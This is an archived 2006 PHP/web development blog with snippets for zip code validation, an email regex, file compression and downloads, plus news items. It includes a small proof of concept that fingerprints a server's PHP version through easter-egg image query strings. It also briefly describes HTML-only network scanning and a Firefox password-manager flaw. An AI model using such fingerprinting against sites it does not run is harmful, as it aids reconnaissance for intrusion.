Friday, December 29, 2006

Zip Code To Location Validation

Jason Palmer has a function which make sure the zip code entered by user matches the city and state upon verification function return true, otherwise false. Here goes the post from him..

Recently, a client was interested in verifying that any inputted zip code was matched correctly with the city and state the user provided. This can be a very valuable and important thing to verify, especially if you are shipping items.

Using the CodeBump GeoPlaces Web Service I constructed a function which takes three parameters (zip, city, state) and does a case-insensitive comparison to make sure that the given zip code matches the city and state. Upon verification the function will return true. Otherwise, it returns false.

The GeoPlaces Web Service requires a paid membership. Once you receive a subscription, CodeBump will send you a valid subscriptionID and that is the only thing you will have to provide for this function to work correctly.

<?PHP
//Written by Jason Palmer, 2006.
//Use as you please just please reference back to:
//http://www.jason-palmer.com/

//Returns true on success, and false on failure.
function zip_2_loc($zip, $city, $state)
{
//Provide your subscriptionID
$subscriptionID = ‘;

//Construct the URL
$url = "http://codebump.com/services/placelookup.asmx/
GetPlacesInside
";
$url .= "?AuthenticationHeader=" . $subscriptionID;
$url .= "&place=" . $zip . "&state=";

//Open the URL and read contents
$contents = fopen($url, "r");
$data = fread($contents, 8192);

//Convert XML data to array
$xml = new SimpleXMLElement($data);

foreach($xml->GeoPlaceDistance as $key => $value)
{
//Match case insensitive
if(strtolower($city) == strtolower($value->ToPlace)
&& strtolower($state) == strtolower($value->ToState))
{
//Match
return true;
}
}
return false;
}
?>

Saturday, December 16, 2006

A better RegEx pattern for matching e-mail addresses

Posted in Tiffany B Brown Blog.

Below is a more refined version.

^[-+.\w]{1,64}@[-.\w]{1,64}\.[-.\w]{2,6}$

Just as with the previous pattern, this one will match most valid e-mail addresses including:

  • Addresses with periods and plus signs (e.g. ‘tiffany.brown’ or ‘hotc0derch1ck+todolist’)
  • Top-level British and Australian domain names such as ‘.co.uk’ and ‘.com.au’
  • New top-level domains such as ‘.museum’ and ‘.travel’

This pattern takes advantage of the \w character type. It’s a simpler way of waying “a - z (both upper and lower case), 0 - 9 and the underscore character” (though for many languages, \w means any alphanumeric character).

It also checks to see whether a user or domain name contains at least one, but no more than 64 alphanumeric characters. Sixty-four is the maximum character length for user and domain names under SMTP.

This pattern should work with most regular expression engines.

Compressing files in PHP

by Justin Silverton

Zlib compression has been built into php since version 3 and it can be used to compress the output of your php applications (which can significantly decrease the amount of bandwidth of a page), but what you can also do is compress any file accessible from your webserver.

The code

The following are two functions: compress and uncompress, which can compress and uncompress a specified file.

function uncompress($srcName, $dstName) {
$string = implode(”", gzfile($srcName));
$fp = fopen($dstName, “w”);
fwrite($fp, $string, strlen($string));
fclose($fp);
}

function compress($srcName, $dstName)
{
$fp = fopen($srcName, “r”);
$data = fread ($fp, filesize($srcName));
fclose($fp);

$zp = gzopen($dstName, “w9″);
gzwrite($zp, $data);
gzclose($zp);
}

compress(”test.php”,”test.gz”);
uncompress(”test.gz”,”test2.php”);

Source code can be downloaded here

Description of related zlib functions

gzclose — Close an open gz-file pointer
gzcompress — Compress a string
gzencode — Create a gzip compressed string
gzeof — Test for end-of-file on a gz-file pointer
gzfile — Read entire gz-file into an array
gzgetc — Get character from gz-file pointer
gzgets — Get line from file pointer
gzgetss — Get line from gz-file pointer and strip HTML tags
gzinflate — Inflate a deflated string
gzopen — Open gz-file
gzpassthru — Output all remaining data on a gz-file pointer

How to randomize, return and remove numbers from a pool using PHP

$random_numbers = range(1,100);
shuffle($random_numbers);
$numbers_chosen = array($random_numbers[0],$random_numbers[1],
$random_numbers[2],$random_numbers[3]);

print
"before ";
print_r($random_numbers); // first four numbers chosen

$random_numbers = array_splice($random_numbers,4);

print
"
after "
;
print_r($random_numbers); // first four numbers chosen

print "
chosen "
;
print_r($numbers_chosen); // first four num5 bers chosen
?>

Saturday, December 09, 2006

Network Scanning with HTTP without JavaScript

Here’s a cool way to scan a site visitor’s network using just HTML and the user’s browser.
The concept of doing network scanning via JavaScript is hardly new and is quite easy for anyone with even cursory knowledge of JavaScript. However, the assumption was that as long as you browse the web with JavaScript disabled you are safe from hostile sites from scanning your network. Alas, this was not to be, in a very interesting post Jeremiah Grossman shows how can this be done with plain HTML using no JavaScript what so ever.

Link: Network Scanning with HTTP without JavaScript - iBlog - Ilia Alshanetsk

PHP Version with the help of Javascript

The good thing about images is that JavaScript can check if they are loaded and what size they are. With this ability it is trivial to detect if PHP is running on an URL if expose_php=On.

Here is the little proof of concept:

<html><head><title>Detect PHP Version by JavaScript</title>
<script>
function fail()
{
alert("URL is not powered by PHP or expose_php=off");
}
function detect()
{
if (xxx.width == 100 && xxx.height==58) {
alert("URL is powered by PHP 4");
} else if (xxx.width == 113 && xxx.height==72) {
alert("URL is powered by PHP 5");
} else {
alert("No PHP or unknown PHP version");
}
}
</script></head>
<body>
<img
src="http://URL/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42"
onerror=
"fail()" name=xxx onload="detect()">

</body>
</html>

File downloads in PHP

This is a simple code snippet. It will allow you to force the web-browser that is currently viewing your script to come up with a file-download box (and the a file on your system can be downloaded).

Here is the code:

//so only the data from the headers is sent
ob_start();
//dispable caching
header (”Cache-Control: must-revalidate, pre-check=0, post-check=0″);
header (”Content-Type: application/binary”);
header (”Content-Length: ” . filesize($export_long_name));
header (”Content-Disposition: attachment; filename=yourfile.ext”);
readfile($export_long_name)

PHP currently #4 language

The TIOBE Programming Community index gives an indication of the popularity of programming languages. The index is updated once a month. The ratings are based on the world-wide availability of skilled engineers, courses and third party vendors. The popular search engines Google, MSN, and Yahoo! are used to calculate the ratings. Observe that the TPC index is not about the best programming language or the language in which most lines of code have been written.

Where PHP stands currently (In the month of october)

Position (Oct 2006): 4
Position (Oct 2005): 4
Ratings (Oct 2006): 9.863%
Delta (Oct 2005): +0.19%
Status: A

The status of A means it is a mainstream programming language language

The full list can be found here: http://www.tiobe.com/tpci.htm

php easter eggs

By Justin Silverton

The following are some easter eggs found in various version of php. To see these easter eggs, find any webserver installed with the respective version of php installed on it & append this to any url that ends with a php script.

php 4.x

php image (depending on the version, either a dog or a rabbit):

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Note: The dog was a part of the php community. More information can be found here

The php logo:

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42

Powered by zend logo:

?=PHPE9568F35-D428-11d2-A769-00AA001ACF42

credits (shows all authors and contributors):

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

If you have a website running php and you would like to disable these, you can by changing the variable: “expose_php” to off in php.ini.

Zend Studio Client (ZDE)

When the studio is open, simply press on Ctrl+Shift+Z+(left mouse click) to see a team members picture.

mysql will now support scheduled events

By Justin Silverton

Mysql 5.1 beta has recently been released. It is only a beta (and should not be used in a production environment), but it does show us some of the new features that will appear in future, stable, releases:
  • Partitioning: This capability enables distributing portions of individual tables across a filesystem, according to rules which can be set when the table is created. In effect, different portions of a table are stored as separate tables in different locations, but from the user point of view, the partitioned table is still a single table. Syntactically, this implements a number of new extensions to the CREATE TABLE, ALTER TABLE, and EXPLAIN ... SELECT statements. As of MySQL 5.1.6, queries against partitioned tables can take advantage of partition pruning. In some cases, this can result in query execution that is an order of magnitude faster than the same query against a non-partitioned version of the same table.
  • Row-based replication: Replication capabilities in MySQL originally were based on propagation of SQL statements from master to slave. This is called statement-based replication. As of MySQL 5.1.5, another basis for replication is available. This is called row-based replication. Instead of sending SQL statements to the slave, the master writes events to its binary log that indicate how individual table rows are effected. As of MySQL 5.1.8, a third option is available: mixed. This will use statement-based replication by default, and only switch to row-based replication in particular cases.
  • Plugin API: MySQL 5.1 adds support for a very flexible plugin API that enables loading and unloading of various components at runtime, without restarting the server. Although the work on this is not finished yet, plugin full-text parsers are a first step in this direction. This allows users to implement their own input filter on the indexed text, enabling full-text search capability on arbitrary data such as PDF files or other document formats. A pre-parser full-text plugin performs the actual parsing and extraction of the text and hands it over to the built-in MySQL full-text search.
  • Event scheduler: MySQL Events are tasks that run according to a schedule. When you create an event, you are creating a named database object containing one or more SQL statements to be executed at one or more regular intervals, beginning and ending at a specific date and time. Conceptually, this is similar to the idea of the Unix crontab (also known as a “cron job”) or the Windows Task Scheduler.
  • A new password flaw found in Firefox 2

    By Justin Silverton

    In a recent article, a new flaw in firefox 2 is discussed:

    “Mozilla’s Firefox 2.0 has long been considered a safer Web browser than Microsoft’s Internet Explorer, but a new flaw in the Firefox Password Manager, which lets users store usernames and passwords for trusted Web sites, could let hackers steal their login data.

    The problem, known as a reverse cross-site request, or RCSR, was first discovered by Robert Chapin, a Microsoft Certified Systems Engineer (MCSE) and I.T, consultant. The RCSR appears on blogs, message boards, or group forums that let users add comments with embedded HTML code.

    On sites that allow users to enter code, a hacker can embed a form that tricks the user’s browser into sending its username and password information to the hacker’s computer. Because the form is embedded on a trusted Web site, the browser’s built-in antiphishing protection, which is designed to alert users to fraudulent Web sites, does not detect the problem.”

    When will this flaw be fixed?

    The Mozilla Foundation (the group behind the firefox browser) has classified it as Bug #360493 and also announced that it will be fixed in version 2.0.0.1 or 2.0.0.2.

    This attack can be avoided by disabling the browsers’ autosave features for usernames and passwords. I